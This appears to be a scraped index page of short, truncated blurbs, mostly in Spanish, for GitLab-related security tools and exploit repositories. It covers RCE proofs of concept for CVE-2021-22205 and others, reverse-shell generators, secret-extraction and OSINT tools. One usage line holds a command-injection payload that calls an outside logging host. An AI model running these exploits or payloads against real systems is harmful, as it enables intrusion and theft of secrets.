socialscan

socialscan socialscan offers accurate and fast checks for email address and username usage on online platforms. Given an email address or username, socialscan returns whether it is available, taken or invalid on online platforms. Features that differentiate socialscan from similar tools e.g...

SafeForge

SafeForge – Donde las aplicaciones se crean con confianza SafeForge es un centro de aplicaciones móviles de código abierto construido sobre GitLab que permite a los desarrolladores crear, subir, compartir y colaborar en aplicaciones móviles en un ecosistema seguro, verificado por IA y completamen...

CVE-2020-10977

GitLab v12.4.0-12.8.1 RCE Basado enteramente en https://github.com/dotPY-hax/gitlabRCE, que no me funcionó y lo de parsear HTML me parecía engorroso, así que lo reescribí en js. Uso Inicia un manejador de reverse shell de la forma habitual y luego ejecuta este script con: root@kitploit:...

CVE-2024-32002

CVE-2024-32002 Un generador de reverse shell para la vulnerabilidad gitlab-shell CVE-2024-32002 Esto aún está en fase de pruebas y lo actualizaré una vez terminado...

CVE-2023-2825-Gitlab

CVE-2023-2825 On May 23, 2023 GitLab released version 16.0.1 which fixed a critical vulnerability, CVE-2023-2825, affecting the Community Edition CE and Enterprise Edition EE version 16.0.0. The vulnerability allows unauthenticated users to read arbitrary files through a path traversal bug. It wa...

CVE-2021-22205

CVE-2021-22205 Debido a que GitLab no valida correctamente los archivos de imagen enviados al analizador de archivos, se produce una ejecución de comandos. Un atacante puede construir una solicitud maliciosa para explotar esta vulnerabilidad y ejecutar comandos arbitrarios en el sistema objetivo,...

gitlab-rce-demo

GitLab Oj RCE Demo This repository contains a self-contained demo for the GitLab notebook-diff RCE chain described in our research. It starts a fresh GitLab 18.11.3 container, creates an ordinary user through the public HTTP interface, and runs the PoC against that instance. Technical details:...

CVE-2021-22205

Impacto de la Vulnerabilidad Se ha descubierto un problema en GitLab CE/EE que afecta a todas las versiones a partir de la 11.9. GitLab no validaba correctamente los archivos de imagen que se pasaban a un analizador de archivos, lo que resultó en una ejecución remota de comandos. Producto...

Dependency Scanning

Componente para el Escaneo de Dependencias y Licencias Este componente genera un CycloneDX Software Bill of Materials, que es utilizado por GitLab para identificar las dependencias de un proyecto y sus licencias. Este CycloneDX Software Bill of Materials es compatible con la taxonomía de GitLab...

CVE-2021-22205

CVE-2021-22205 RCE preautenticado a través de exiftool en Gitlab CE/EE Resumen del CVE GitLab utiliza ExifTool para escanear cada archivo tiff/jpeg/jpg y eliminar cualquier etiqueta no autorizada en la lista blanca. Pero debido a que ExifTool no utiliza las extensiones de archivo para determinar ...

SCMKit

SCMKit Descripción S ource C ode M anagement Attack Toolkit - SCMKit es un conjunto de herramientas que se puede utilizar para atacar sistemas SCM. SCMKit permite al usuario especificar el sistema SCM y el módulo de ataque a utilizar, junto con la especificación de credenciales válidas nombre de...

trufflehog

TruffleHog Find leaked credentials. 🔎 Now Scanning ...and more To learn more about TruffleHog and its features and capabilities, visit our product page. 🌐 TruffleHog Enterprise Are you interested in continuously monitoring Git, Jira, Slack, Confluence, Microsoft Teams, Sharepoint and more for...

CVE-2021-22205

CVE-2021-22205 Versiones afectadas: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Uso root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Obtener csrf-token: Obtenga el csrf-token a través de /users/signin y luego use el PoC CVE-2021-22205 anterior para construir...

gitrecon

gitrecon Herramienta OSINT para obtener información de un perfil de Github o Gitlab y encontrar direcciones de correo electrónico de usuarios filtradas en commits. 📚 ¿Cómo funciona? GitHub utiliza la dirección de correo electrónico asociada a una cuenta de GitHub para vincular commits y otras...

nord-stream

Nord Stream Nord Stream is a tool that allows you extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab. Find out more in the following blogpost:...

MassCyberCenter-Mentorship-Project-

MassCyberCenter-Mentorship-Project- Descripción general Este repositorio documenta mi recorrido y los entregables durante el programa de mentoría del MassCyber Center. Este programa de mentoría nos encargó completar un proyecto de ciberseguridad y luego presentarlo en un evento de exhibición al q...

amavis

Installation Use your system's amavis package if possible. Prerequisites Software dependencies are tracked via Dist::Zilla. Some of them involve non-perl development libraries and GCC as a build dependency if obtained from CPAN: libdb libidn2 libssl libzmq3 On Debian 13 for example, one can insta...

CVE-2021-22201

CVE-2021-22201 CVE-2021–22201 Arbitrary file read on Gitlab 13.9.0 = Gitlab 13.9.5 Usage python CVE-2021-22201.py url username password 参考 CVE-2021–22201: Arbitrary file read on Gitlab | by Son Nguy3n | Jun, 2021 | tradahacking Project import/export API | GitLab 1132378 Arbitrary file read during...

libssh-mirror

root@kitploit: .org The SSH library ¿Por qué? ¿Por qué no? : Empecé a trabajar en mi propia implementación del protocolo ssh porque no me gustaban las que estaban disponibles públicamente. Ninguna de ellas permitía importar y usar las funciones como una biblioteca potente, así que trabajé en una...

protocol-fuzzer-ce

:toc: = Edición Comunitaria del Fuzzer de Protocolos de GitLab Este proyecto se basa en Peach Fuzzer Professional v4 que fue https://about.gitlab.com/press/releases/2020-06-11-gitlab-acquires-peach-tech-and-fuzzit-to-expand-devsecops-offering.htmladquirido por GitLab en 2020. Algunas...